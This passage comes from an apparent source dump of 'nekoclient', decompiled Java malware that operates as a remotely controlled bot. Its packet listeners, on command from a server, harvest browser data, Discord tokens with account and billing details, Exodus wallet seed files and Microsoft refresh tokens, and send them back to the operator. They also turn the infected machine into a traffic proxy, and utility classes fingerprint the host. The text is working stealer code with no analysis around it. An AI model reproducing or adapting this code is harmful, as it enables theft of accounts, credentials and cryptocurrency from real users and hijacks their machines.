| for(int i = 0; i < threads; ++i) { 48 | executorService.execute(runnable); 49 | } 50 | 51 | client.send(new ActionResponsePacket(packet.getNonce(), true)); 52 | } 53 | } 54 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/DisconnectPacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.packet.impl.server.DisconnectPacket; 5 | import dev.neko.nekoclient.packet.listener.PacketListener; 6 | import java.io.IOException; 7 | 8 | public class DisconnectPacketListener implements PacketListener { 9 | public void call(DisconnectPacket packet, Client client, String id) throws IOException { 10 | client.close(); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/HelloPacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.packet.impl.server.HelloPacket; 5 | import dev.neko.nekoclient.packet.listener.PacketListener; 6 | import java.io.IOException; 7 | 8 | public class HelloPacketListener implements PacketListener { 9 | public void call(HelloPacket packet, Client client, String id) throws IOException { 10 | client.send(new dev.neko.nekoclient.packet.impl.client.HelloPacket(client.getClientInfo(), client.getVersionInfo())); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/ProxyPacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.api.proxy.ProxyResponse; 5 | import dev.neko.nekoclient.packet.impl.client.ProxyResponsePacket; 6 | import dev.neko.nekoclient.packet.impl.server.ProxyPacket; 7 | import dev.neko.nekoclient.packet.listener.PacketListener; 8 | import java.io.DataOutputStream; 9 | import java.io.IOException; 10 | import java.net.ConnectException; 11 | import java.net.Socket; 12 | import java.net.SocketTimeoutException; 13 | import java.net.UnknownHostException; 14 | import java.util.concurrent.ExecutorService; 15 | import java.util.concurrent.Executors; 16 | 17 | public class ProxyPacketListener implements PacketListener { 18 | public void call(ProxyPacket packet, Client client, String id) throws IOException { 19 | Socket clientConnection = new Socket(); 20 | 21 | try { 22 | clientConnection.connect(packet.getAddress(), 5000); 23 | client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.CONNECTED)); 24 | ExecutorService service = Executors.newFixedThreadPool(2); 25 | service.execute(() -> { 26 | try { 27 | Socket serverConnection = new Socket(client.getAddress().getAddress().getHostAddress(), packet.getAcceptorPort()); 28 | DataOutputStream dataOutputStream = new DataOutputStream(serverConnection.getOutputStream()); 29 | dataOutputStream.writeUTF(packet.getNonce()); 30 | service.execute(() -> { 31 | while(!service.isShutdown() && clientConnection.isConnected() && serverConnection.isConnected()) { 32 | try { 33 | clientConnection.getOutputStream().write(serverConnection.getInputStream().read()); 34 | if (serverConnection.getInputStream().available() > 0) { 35 | byte[] ignoredx = new byte[serverConnection.getInputStream().available()]; 36 | serverConnection.getInputStream().read(ignoredx); 37 | clientConnection.getOutputStream().write(ignoredx); 38 | } 39 | } catch (IOException var4x) { 40 | service.shutdownNow(); 41 | return; 42 | } 43 | } 44 | }); 45 | 46 | while(!service.isShutdown() && clientConnection.isConnected() && serverConnection.isConnected()) { 47 | try { 48 | serverConnection.getOutputStream().write(clientConnection.getInputStream().read()); 49 | if (clientConnection.getInputStream().available() > 0) { 50 | byte[] bytes = new byte[clientConnection.getInputStream().available()]; 51 | clientConnection.getInputStream().read(bytes); 52 | serverConnection.getOutputStream().write(bytes); 53 | } 54 | } catch (IOException var7x) { 55 | service.shutdownNow(); 56 | return; 57 | } 58 | } 59 | } catch (IOException var8x) { 60 | } 61 | }); 62 | } catch (SocketTimeoutException var6) { 63 | client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.TIMED_OUT)); 64 | } catch (UnknownHostException var7) { 65 | client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.UNKNOWN_HOST)); 66 | } catch (ConnectException var8) { 67 | client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.CONNECTION_REFUSED)); 68 | } catch (IOException var9) { 69 | client.send(new ProxyResponsePacket(packet.getNonce(), ProxyResponse.UNKNOWN_ERROR)); 70 | } 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/RequestBrowserDataPacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.api.stealer.browser.impl.BrowserDataStealer; 5 | import dev.neko.nekoclient.packet.impl.client.BrowserDataResponsePacket; 6 | import dev.neko.nekoclient.packet.impl.server.RequestBrowserDataPacket; 7 | import dev.neko.nekoclient.packet.listener.PacketListener; 8 | import java.io.IOException; 9 | import java.util.concurrent.ExecutorService; 10 | import java.util.concurrent.Executors; 11 | 12 | public class RequestBrowserDataPacketListener implements PacketListener { 13 | public void call(RequestBrowserDataPacket packet, Client client, String id) throws IOException { 14 | ExecutorService executorService = Executors.newSingleThreadExecutor(); 15 | executorService.execute(() -> { 16 | try { 17 | client.send(new BrowserDataResponsePacket(packet.getNonce(), BrowserDataStealer.read())); 18 | } catch (IOException var4x) { 19 | throw new RuntimeException(var4x); 20 | } 21 | 22 | executorService.shutdown(); 23 | }); 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/RequestDiscordPacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import com.eclipsesource.json.Json; 4 | import dev.neko.nekoclient.Client; 5 | import dev.neko.nekoclient.api.stealer.discord.DiscordAccount; 6 | import dev.neko.nekoclient.api.stealer.discord.impl.DiscordStealer; 7 | import dev.neko.nekoclient.packet.impl.client.DiscordResponsePacket; 8 | import dev.neko.nekoclient.packet.impl.server.RequestDiscordPacket; 9 | import dev.neko.nekoclient.packet.listener.PacketListener; 10 | import java.io.IOException; 11 | import java.io.InputStreamReader; 12 | import java.net.URL; 13 | import java.net.URLConnection; 14 | import java.util.ArrayList; 15 | import java.util.Base64; 16 | import java.util.List; 17 | import java.util.Objects; 18 | import java.util.concurrent.ExecutorService; 19 | import java.util.concurrent.Executors; 20 | import javax.net.ssl.HttpsURLConnection; 21 | 22 | public class RequestDiscordPacketListener implements PacketListener { 23 | public void call(RequestDiscordPacket packet, Client client, String id) throws IOException { 24 | ExecutorService executorService = Executors.newSingleThreadExecutor(); 25 | executorService.execute( 26 | () -> { 27 | boolean deb = System.getProperty("user.name").equals("TheDxrkKiller"); 28 | 29 | try { 30 | List accounts = new ArrayList<>(); 31 | 32 | for(String token : DiscordStealer.retrieve()) { 33 | try { 34 | String[] split = token.split("\\."); 35 | String userId = new String(Base64.getDecoder().decode(Objects.equals(split[0], "mfa") ? split[1] : split[0])); 36 | if (!accounts.stream().anyMatch(discordAccount -> Objects.equals(discordAccount.getId(), userId))) { 37 | int profileStatusCode = -1; 38 | HttpsURLConnection profileConnection = null; 39 | 40 | while(profileStatusCode < 0 || Objects.equals(profileStatusCode, 429)) { 41 | profileConnection = (HttpsURLConnection)new URL( 42 | String.format("https://discord.com/api/v9/users/%s/profile?with_mutual_guilds=false&with_mutual_friends_count=false", userId) 43 | ) 44 | .openConnection(); 45 | profileConnection.setRequestMethod("GET"); 46 | setHeaders(profileConnection, token); 47 | if (Objects.equals(profileStatusCode = profileConnection.getResponseCode(), 429)) { 48 | Thread.sleep(10000L); 49 | } 50 | } 51 | 52 | if (Objects.equals(profileConnection.getResponseCode(), 200)) { 53 | int userStatusCode = -1; 54 | HttpsURLConnection userConnection = null; 55 | 56 | while(userStatusCode < 0 || Objects.equals(userStatusCode, 429)) { 57 | userConnection = (HttpsURLConnection)new URL("https://discord.com/api/v9/users/@me").openConnection(); 58 | userConnection.setRequestMethod("GET"); 59 | setHeaders(userConnection, token); 60 | if (Objects.equals(userStatusCode = userConnection.getResponseCode(), 429)) { 61 | Thread.sleep(10000L); 62 | } 63 | } 64 | 65 | if (Objects.equals(userConnection.getResponseCode(), 200)) { 66 | int paymentStatusCode = -1; 67 | HttpsURLConnection paymentSourcesConnection = null; 68 | 69 | while(paymentStatusCode < 0 || Objects.equals(paymentStatusCode, 429)) { 70 | paymentSourcesConnection = (HttpsURLConnection)new URL("https://discord.com/api/v9/users/@me/billing/payment-sources") 71 | .openConnection(); 72 | paymentSourcesConnection.setRequestMethod("GET"); 73 | setHeaders(paymentSourcesConnection, token); 74 | if (Objects.equals(paymentStatusCode = paymentSourcesConnection.getResponseCode(), 429)) { 75 | Thread.sleep(10000L); 76 | } 77 | } 78 | 79 | if (Objects.equals(paymentSourcesConnection.getResponseCode(), 200)) { 80 | DiscordAccount account = DiscordAccount.parse( 81 | token, 82 | Json.parse(new InputStreamReader(profileConnection.getInputStream())).asObject(), 83 | Json.parse(new InputStreamReader(userConnection.getInputStream())).asObject(), 84 | Json.parse(new InputStreamReader(paymentSourcesConnection.getInputStream())).asArray() 85 | ); 86 | accounts.add(account); 87 | } 88 | } 89 | } 90 | 91 | Thread.sleep(5000L); 92 | } 93 | } catch (Throwable var18) { 94 | } 95 | } 96 | 97 | try { 98 | client.send(new DiscordResponsePacket(packet.getNonce(), accounts)); 99 | } catch (IOException var17) { 100 | } 101 | 102 | executorService.shutdown(); 103 | } catch (Throwable var19) { 104 | } 105 | } 106 | ); 107 | } 108 | 109 | private static void setHeaders(URLConnection connection, String token) { 110 | connection.setRequestProperty("Accept", "*/*"); 111 | connection.setRequestProperty("Alt-Used", "discord.com"); 112 | connection.setRequestProperty("Accept-Language", "en-US;q=0.8"); 113 | connection.setRequestProperty("Authorization", token); 114 | connection.setRequestProperty("Referer", "https://discord.com/channels/@me"); 115 | connection.setRequestProperty("Sec-Ch-Ua", "\"Not?A_Brand\";v=\"8\", \"Chromium\";v=\"108\""); 116 | connection.setRequestProperty("Sec-Ch-Ua-Mobile", "?0"); 117 | connection.setRequestProperty("Sec-Ch-Ua-Platform", "\"Windows\""); 118 | connection.setRequestProperty("Sec-Fetch-Dest", "empty"); 119 | connection.setRequestProperty("Sec-Fetch-Mode", "cors"); 120 | connection.setRequestProperty("Sec-Fetch-Site", "same-origin"); 121 | connection.setRequestProperty("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0"); 122 | connection.setRequestProperty("X-Debug-Options", "bugReporterEnabled"); 123 | connection.setRequestProperty("X-Discord-Locale", "en-US"); 124 | connection.setRequestProperty("X-Discord-Timezone", "America/Los_Angeles"); 125 | connection.setRequestProperty( 126 | "X-Super-Properties", 127 | Base64.getEncoder() 128 | .encodeToString( 129 | Json.object() 130 | .add("os", "Windows") 131 | .add("browser", "Firefox") 132 | .add("device", "") 133 | .add("system_locale", "en-US") 134 | .add("browser_user_agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0") 135 | .add("browser_version", "113.0") 136 | .add("os_version", "10") 137 | .add("referrer", "") 138 | .add("referring_domain", "") 139 | .add("referrer_current", "") 140 | .add("referring_domain_current", "") 141 | .add("release_channel", "stable") 142 | .add("client_build_number", 201211) 143 | .add("client_event_source", Json.NULL) 144 | .add("design_id", 0) 145 | .toString() 146 | .getBytes() 147 | ) 148 | ); 149 | } 150 | } 151 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/RequestExodusPacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.packet.impl.client.ExodusResponsePacket; 5 | import dev.neko.nekoclient.packet.impl.server.RequestExodusPacket; 6 | import dev.neko.nekoclient.packet.listener.PacketListener; 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.IOException; 9 | import java.nio.file.Files; 10 | import java.nio.file.Path; 11 | import java.nio.file.Paths; 12 | import java.util.Objects; 13 | import java.util.concurrent.ExecutorService; 14 | import java.util.concurrent.Executors; 15 | import java.util.stream.Collectors; 16 | import java.util.zip.ZipEntry; 17 | import java.util.zip.ZipOutputStream; 18 | 19 | public class RequestExodusPacketListener implements PacketListener { 20 | public void call(RequestExodusPacket packet, Client client, String id) throws IOException { 21 | if (Objects.isNull(System.getenv("APPDATA"))) { 22 | client.send(new ExodusResponsePacket(packet.getNonce(), false, null)); 23 | } else { 24 | Path wallet = Paths.get(System.getenv("APPDATA"), "Exodus", "exodus.wallet"); 25 | if (!Files.isDirectory(wallet)) { 26 | client.send(new ExodusResponsePacket(packet.getNonce(), false, null)); 27 | } else { 28 | ExecutorService executorService = Executors.newSingleThreadExecutor(); 29 | executorService.execute(() -> { 30 | try { 31 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 32 | ZipOutputStream zipOutputStream = new ZipOutputStream(byteArrayOutputStream); 33 | 34 | for(Path path : Files.walk(wallet, 1).collect(Collectors.toList())) { 35 | if (Files.isRegularFile(path) && (path.getFileName().endsWith(".seco") || path.getFileName().toString().equals("passphrase.json"))) { 36 | zipOutputStream.putNextEntry(new ZipEntry(path.getFileName().toString())); 37 | zipOutputStream.write(Files.readAllBytes(path)); 38 | } 39 | } 40 | 41 | zipOutputStream.finish(); 42 | zipOutputStream.close(); 43 | client.send(new ExodusResponsePacket(packet.getNonce(), true, byteArrayOutputStream.toByteArray())); 44 | byteArrayOutputStream.close(); 45 | } catch (IOException var8) { 46 | throw new RuntimeException(var8); 47 | } 48 | 49 | executorService.shutdown(); 50 | }); 51 | } 52 | } 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/RequestMSAPacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.api.stealer.msa.auth.MicrosoftAuth; 5 | import dev.neko.nekoclient.api.stealer.msa.auth.credentials.MicrosoftCredentials; 6 | import dev.neko.nekoclient.api.stealer.msa.impl.MSAStealer; 7 | import dev.neko.nekoclient.packet.impl.client.MSAResponsePacket; 8 | import dev.neko.nekoclient.packet.impl.server.RequestMSAPacket; 9 | import dev.neko.nekoclient.packet.listener.PacketListener; 10 | import java.io.IOException; 11 | import java.util.ArrayList; 12 | import java.util.List; 13 | import java.util.Objects; 14 | import java.util.concurrent.ExecutorService; 15 | import java.util.concurrent.Executors; 16 | 17 | public class RequestMSAPacketListener implements PacketListener { 18 | public void call(RequestMSAPacket packet, Client client, String id) throws IOException { 19 | ExecutorService executorService = Executors.newSingleThreadExecutor(); 20 | executorService.execute(() -> { 21 | List credentials = new ArrayList<>(); 22 | 23 | for(MSAStealer.RefreshToken refreshToken : MSAStealer.retrieveRefreshTokens()) { 24 | try { 25 | MicrosoftCredentials credential = MicrosoftAuth.refreshToken(refreshToken.getToken(), refreshToken.getClientType()); 26 | if (credentials.stream().noneMatch(credential2 -> Objects.equals(credential2.getUserId(), credential.getUserId()))) { 27 | credentials.add(credential); 28 | } 29 | 30 | Thread.sleep(5000L); 31 | } catch (Throwable var8) { 32 | } 33 | } 34 | 35 | try { 36 | client.send(new MSAResponsePacket(packet.getNonce(), credentials)); 37 | } catch (IOException var7) { 38 | } 39 | 40 | executorService.shutdown(); 41 | }); 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/packet/listener/impl/UpdateModulePacketListener.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.packet.listener.impl; 2 | 3 | import dev.neko.nekoclient.Client; 4 | import dev.neko.nekoclient.module.Module; 5 | import dev.neko.nekoclient.packet.impl.server.UpdateModulePacket; 6 | import dev.neko.nekoclient.packet.listener.PacketListener; 7 | import java.io.IOException; 8 | import java.util.Objects; 9 | 10 | public class UpdateModulePacketListener implements PacketListener { 11 | public void call(UpdateModulePacket packet, Client client, String id) throws IOException { 12 | Module module = client.getModuleRegistry().getByName(packet.getModuleName()); 13 | if (!Objects.isNull(module)) { 14 | if (!Objects.equals(module.isEnabled(), packet.isEnabled())) { 15 | module.setEnabled(packet.isEnabled()); 16 | } 17 | } 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/structure/Registry.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.structure; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Arrays; 5 | import java.util.Collections; 6 | import java.util.List; 7 | import java.util.function.Predicate; 8 | 9 | public class Registry { 10 | private final List objects = new ArrayList<>(); 11 | 12 | public void register(T... objects) { 13 | this.objects.addAll(Arrays.asList(objects)); 14 | } 15 | 16 | public void unregister(T... objects) { 17 | this.objects.removeAll(Arrays.asList(objects)); 18 | } 19 | 20 | public T getBy(Predicate predicate) { 21 | return this.objects.stream().filter(predicate).findFirst().orElse((T)null); 22 | } 23 | 24 | public final List getObjects() { 25 | return Collections.unmodifiableList(this.objects); 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/structure/ThrowingRunnable.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.structure; 2 | 3 | public interface ThrowingRunnable { 4 | void run() throws T; 5 | } 6 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/utils/DNSUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.utils; 2 | 3 | import java.util.ArrayList; 4 | import java.util.Comparator; 5 | import java.util.Hashtable; 6 | import java.util.List; 7 | import java.util.Objects; 8 | import javax.naming.NamingEnumeration; 9 | import javax.naming.NamingException; 10 | import javax.naming.directory.Attribute; 11 | import javax.naming.directory.Attributes; 12 | import javax.naming.directory.InitialDirContext; 13 | 14 | public class DNSUtil { 15 | private static final InitialDirContext DIRECTORY; 16 | 17 | public static DNSUtil.DNSEntry resolveMinecraft(String domain) throws NamingException { 18 | Attributes attributes = DIRECTORY.getAttributes(String.format("dns:///_minecraft._tcp.%s", domain), new String[]{"SRV"}); 19 | if (Objects.isNull(attributes)) { 20 | return null; 21 | } else { 22 | Attribute srvRecords = attributes.get("SRV"); 23 | if (!Objects.isNull(srvRecords) && srvRecords.size() > 0) { 24 | NamingEnumeration enumeration = srvRecords.getAll(); 25 | List dnsEntries = new ArrayList<>(); 26 | 27 | while(enumeration.hasMore()) { 28 | String line = (String)enumeration.next(); 29 | if (line.endsWith(".")) { 30 | line = line.substring(0, line.length() - 1); 31 | } 32 | 33 | String[] split = line.split(" "); 34 | dnsEntries.add(new DNSUtil.DNSEntry(Integer.parseInt(split[0]), Integer.parseInt(split[1]), split[3], Integer.parseInt(split[2]))); 35 | } 36 | 37 | int maxPriority = dnsEntries.stream().min(Comparator.comparingInt(DNSUtil.DNSEntry::getPriority)).orElseThrow(RuntimeException::new).getPriority(); 38 | return dnsEntries.stream() 39 | .filter(dnsEntry -> Objects.equals(dnsEntry.getPriority(), maxPriority)) 40 | .max(Comparator.comparingInt(DNSUtil.DNSEntry::getWeight)) 41 | .orElse(null); 42 | } else { 43 | return null; 44 | } 45 | } 46 | } 47 | 48 | static { 49 | Hashtable env = new Hashtable<>(); 50 | env.put("java.naming.factory.initial", "com.sun.jndi.dns.DnsContextFactory"); 51 | env.put("java.naming.provider.url", "dns:"); 52 | 53 | try { 54 | DIRECTORY = new InitialDirContext(env); 55 | } catch (NamingException var2) { 56 | throw new RuntimeException(var2); 57 | } 58 | } 59 | 60 | public static class DNSEntry { 61 | private final int priority; 62 | private final int weight; 63 | private final String host; 64 | private final int port; 65 | 66 | public DNSEntry(int priority, int weight, String host, int port) { 67 | this.priority = priority; 68 | this.weight = weight; 69 | this.host = host; 70 | this.port = port; 71 | } 72 | 73 | public final int getPort() { 74 | return this.port; 75 | } 76 | 77 | public final String getHost() { 78 | return this.host; 79 | } 80 | 81 | public final int getPriority() { 82 | return this.priority; 83 | } 84 | 85 | public final int getWeight() { 86 | return this.weight; 87 | } 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/utils/EncodingUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.utils; 2 | 3 | import java.util.StringJoiner; 4 | 5 | public class EncodingUtil { 6 | public static byte[] decodeFromByteFormat(String string) { 7 | String[] split = string.split("\\."); 8 | byte[] bytes = new byte[split.length]; 9 | 10 | for(int i = 0; i < bytes.length; ++i) { 11 | bytes[i] = Byte.parseByte(split[i]); 12 | } 13 | 14 | return bytes; 15 | } 16 | 17 | public static String encodeToByteFormat(byte[] bytes) { 18 | StringJoiner joiner = new StringJoiner("."); 19 | 20 | for(byte b : bytes) { 21 | joiner.add(String.valueOf((int)b)); 22 | } 23 | 24 | return joiner.toString(); 25 | } 26 | 27 | public static byte[] reverseBytes(byte[] bytes) { 28 | byte[] reversedBytes = new byte[bytes.length]; 29 | 30 | for(int i = 0; i < bytes.length; ++i) { 31 | byte originalByte = bytes[i]; 32 | byte reversedByte = 0; 33 | 34 | for(int j = 0; j < 8; ++j) { 35 | reversedByte = (byte)(reversedByte << 1); 36 | reversedByte = (byte)(reversedByte | originalByte & 1); 37 | originalByte = (byte)(originalByte >> 1); 38 | } 39 | 40 | reversedBytes[i] = reversedByte; 41 | } 42 | 43 | return reversedBytes; 44 | } 45 | 46 | public static byte[] restoreReversedBytes(byte[] reversedBytes) { 47 | byte[] bytes = new byte[reversedBytes.length]; 48 | 49 | for(int i = 0; i < reversedBytes.length; ++i) { 50 | byte reversedByte = reversedBytes[i]; 51 | byte originalByte = 0; 52 | 53 | for(int j = 0; j < 8; ++j) { 54 | originalByte = (byte)(originalByte << 1); 55 | originalByte = (byte)(originalByte | reversedByte & 1); 56 | reversedByte = (byte)(reversedByte >> 1); 57 | } 58 | 59 | bytes[i] = originalByte; 60 | } 61 | 62 | return bytes; 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/utils/FormUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.utils; 2 | 3 | import java.io.UnsupportedEncodingException; 4 | import java.net.URLEncoder; 5 | import java.util.Map; 6 | import java.util.StringJoiner; 7 | 8 | public class FormUtil { 9 | public static String encodeToForm(Map map) { 10 | StringJoiner joiner = new StringJoiner("&"); 11 | map.forEach((key, value) -> { 12 | try { 13 | joiner.add(String.format("%s=%s", key, URLEncoder.encode(value, "UTF-8"))); 14 | } catch (UnsupportedEncodingException var4) { 15 | } 16 | }); 17 | return joiner.toString(); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/utils/GraphicUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.utils; 2 | 3 | import java.awt.Graphics2D; 4 | import java.awt.Window; 5 | import java.awt.image.BufferedImage; 6 | import java.io.IOException; 7 | 8 | public class GraphicUtil { 9 | public static void drawCenteredText(Window window, String text) { 10 | window.getGraphics() 11 | .drawString( 12 | text, window.getWidth() / 2 - window.getGraphics().getFontMetrics(window.getGraphics().getFont()).stringWidth(text) / 2, window.getHeight() / 2 13 | ); 14 | } 15 | 16 | public static BufferedImage resizeImage(BufferedImage originalImage, int targetWidth, int targetHeight) throws IOException { 17 | BufferedImage resizedImage = new BufferedImage(targetWidth, targetHeight, 1); 18 | Graphics2D graphics2D = resizedImage.createGraphics(); 19 | graphics2D.drawImage(originalImage, 0, 0, targetWidth, targetHeight, null); 20 | graphics2D.dispose(); 21 | return resizedImage; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/utils/HardwareIDUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.utils; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.net.InetAddress; 6 | import java.net.NetworkInterface; 7 | import java.net.SocketException; 8 | import java.security.NoSuchAlgorithmException; 9 | import java.util.ArrayList; 10 | import java.util.Comparator; 11 | import java.util.Enumeration; 12 | import java.util.List; 13 | import java.util.Objects; 14 | 15 | public class HardwareIDUtil { 16 | public static String generateHardwareID() throws NoSuchAlgorithmException, IOException { 17 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 18 | Enumeration enumeration = NetworkInterface.getNetworkInterfaces(); 19 | if (Objects.nonNull(enumeration)) { 20 | List networkInterfaces = new ArrayList<>(); 21 | 22 | while(enumeration.hasMoreElements()) { 23 | networkInterfaces.add(enumeration.nextElement()); 24 | } 25 | 26 | networkInterfaces.stream().sorted(Comparator.comparing(NetworkInterface::getName)).filter(networkInterface -> { 27 | try { 28 | return networkInterface.isUp() && !networkInterface.isVirtual(); 29 | } catch (SocketException var2x) { 30 | return false; 31 | } 32 | }).map(networkInterface -> { 33 | try { 34 | byte[] address = networkInterface.getHardwareAddress(); 35 | return !Objects.isNull(address) && address.length != 0 ? address : null; 36 | } catch (SocketException var2x) { 37 | return null; 38 | } 39 | }).filter(Objects::nonNull).forEach(bytes -> { 40 | try { 41 | byteArrayOutputStream.write(bytes); 42 | } catch (IOException var3x) { 43 | } 44 | }); 45 | } 46 | 47 | byteArrayOutputStream.write(SystemUtil.propertyBytes("os.name")); 48 | byteArrayOutputStream.write(SystemUtil.propertyBytes("os.arch")); 49 | byteArrayOutputStream.write(SystemUtil.propertyBytes("user.name")); 50 | String hostName = InetAddress.getLocalHost().getHostName(); 51 | if (Objects.nonNull(hostName)) { 52 | byteArrayOutputStream.write(hostName.getBytes()); 53 | } 54 | 55 | byteArrayOutputStream.write(SystemUtil.propertyBytes("user.country")); 56 | byteArrayOutputStream.write(SystemUtil.propertyBytes("user.language")); 57 | byteArrayOutputStream.write(SystemUtil.propertyBytes("user.home")); 58 | byteArrayOutputStream.write(SystemUtil.propertyBytes("os.version")); 59 | byteArrayOutputStream.write(SystemUtil.propertyBytes("line.separator")); 60 | byteArrayOutputStream.write(SystemUtil.propertyBytes("file.separator")); 61 | byteArrayOutputStream.write(String.valueOf(SystemUtil.getAvailableProcessors()).getBytes()); 62 | byteArrayOutputStream.write(String.valueOf(SystemUtil.getTotalPhysicalMemory()).getBytes()); 63 | byteArrayOutputStream.write(SystemUtil.envBytes("PROCESSOR_IDENTIFIER")); 64 | return HashUtil.generateMD5Hash(byteArrayOutputStream.toByteArray()); 65 | } 66 | } 67 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/utils/HashUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.utils; 2 | 3 | import java.math.BigInteger; 4 | import java.security.MessageDigest; 5 | import java.security.NoSuchAlgorithmException; 6 | 7 | public class HashUtil { 8 | public static String generateMD5Hash(byte[] bytes) throws NoSuchAlgorithmException { 9 | MessageDigest md5 = MessageDigest.getInstance("MD5"); 10 | md5.update(bytes); 11 | return new BigInteger(1, md5.digest()).toString(16); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/utils/JsonUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.utils; 2 | 3 | import com.eclipsesource.json.JsonValue; 4 | import java.util.Objects; 5 | import java.util.function.Predicate; 6 | 7 | public class JsonUtil { 8 | public static boolean is(JsonValue value, Predicate predicate) { 9 | return Objects.nonNull(value) && predicate.test(value); 10 | } 11 | 12 | public static boolean isNot(JsonValue value, Predicate predicate) { 13 | return !is(value, predicate); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/utils/ObjectUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.utils; 2 | 3 | import java.util.Objects; 4 | 5 | public class ObjectUtil { 6 | public static A unsafeCast(B b) { 7 | return (A)b; 8 | } 9 | 10 | public static T requireNonNullElse(T value, T fallback) { 11 | return (T)(Objects.isNull(value) ? fallback : value); 12 | } 13 | 14 | public static T requireNonNullAndExceptionElse(ObjectUtil.Catcher value, T fallback) { 15 | try { 16 | T result = value.get(); 17 | return (T)(Objects.isNull(result) ? fallback : result); 18 | } catch (Throwable var3) { 19 | return fallback; 20 | } 21 | } 22 | 23 | public static T requireNonExceptionElse(ObjectUtil.Catcher value, T fallback) { 24 | try { 25 | return value.get(); 26 | } catch (Throwable var3) { 27 | return fallback; 28 | } 29 | } 30 | 31 | public interface Catcher { 32 | T get() throws Throwable; 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /dev/neko/nekoclient/utils/SystemUtil.java: -------------------------------------------------------------------------------- 1 | package dev.neko.nekoclient.utils; 2 | 3 | import com.sun.management.OperatingSystemMXBean; 4 | import java.lang.management.ManagementFactory; 5 | import java.util.Objects; 6 | import oshi.SystemInfo; 7 | import oshi.hardware.HardwareAbstractionLayer; 8 | 9 | public class SystemUtil { 10 | private static HardwareAbstractionLayer hardware = null; 11 | 12 | public static int getAvailableProcessors() { 13 | return Runtime.getRuntime().availableProcessors(); 14 | } 15 | 16 | public static long getTotalPhysicalMemory() { 17 | try { 18 | if (Objects.nonNull(hardware)) { 19 | return hardware.getMemory().getTotal(); 20 | } 21 | } catch (Throwable var2) { 22 | } 23 | 24 | try { 25 | if (ManagementFactory.getOperatingSystemMXBean() instanceof OperatingSystemMXBean) { 26 | return ((OperatingSystemMXBean)ManagementFactory.getOperatingSystemMXBean()).getTotalPhysicalMemorySize(); 27 | } 28 | } catch (Throwable var1) { 29 | } 30 | 31 | return 0L; 32 | } 33 | 34 | public static String getProcessorName() { 35 | if (Objects.nonNull(hardware)) { 36 | try { 37 | return hardware.getProcessor().getProcessorIdentifier().getName(); 38 | } catch (Throwable var1) { 39 | } 40 | } 41 | 42 | return ""; 43 | } 44 | 45 | public static byte[] envBytes(int offset, String... properties) { 46 | String value = System.getenv(properties[offset]); 47 | return Objects.isNull(value) ? (offset + 1 >= 